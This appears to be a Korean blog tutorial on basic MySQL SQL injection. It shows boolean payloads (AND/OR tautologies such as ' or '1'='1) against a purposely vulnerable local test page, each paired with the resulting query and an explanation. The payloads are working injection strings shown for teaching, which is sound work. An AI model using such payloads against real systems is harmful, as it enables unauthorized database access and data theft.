annyoung

MySQL SQL Injection 기초(and, or) 본문

MySQL SQL Injection 기초(and, or)

nopsled 2014. 3. 12. 16:54

http://wh1ant.kr/archives/[Hangul] False SQL injection and Advanced blind SQL injection.txt

시작하기전 위 내용에 나와있는 소스를 사용 및 수정하여 vunlerable web application을 구성하고 포스팅 하였습니다.

   

   

 AND

127.0.0.1/info.php?num=1' and '1'='1 (True)

Query : select * from users where num='1' and '1'='1'

Users테이블에서 num이 1인것 그리고 1이 1과 같다면 출력해라.

And의 경우 앞과 뒤 모두 참이어야 합니다.

   

127.0.0.1/info.php?num=1' and '1'<'1 (False)

Query : select * from users where num='1' and '1'<'1'

Users테이블에서 num이 1인것 그리고 1이 1보다 크다면 출력해라.

둘중에 하나라도 거짓이라면 출력되지 않습니다.

 

 

  



OR 

127.0.0.1/info.php?num=1' or '1'='1;

Query : select * from users where num='1' or '1'='1'

Users라는 테이블에서 num이 1인것 또는 1=1이 같다면 출력해라.

1과 1은 같기 때문에 모두 출력합니다.


127.0.0.1/info.php?num=1' or '1'>'1;

Query : select * from users where num='1' or '1'>'1'

Users라는 테이블에서 num이 1인것 또는 1이 1보다 크다면 출력해라.

1>1은 False이므로 num이 1인것만 출력되었습니다.

'' 카테고리의 다른 글

IIS, Webdav 침해사고 당하는 이유중 하나  (0) 2015.11.25
webdav bypass method  (0) 2015.01.06
Web Exploit Tool Kit.pdf  (2) 2014.03.18
MSSQL SQL injection cheat sheet  (0) 2014.03.13
MySQL SQL injection cheat sheet  (0) 2014.03.12
Comments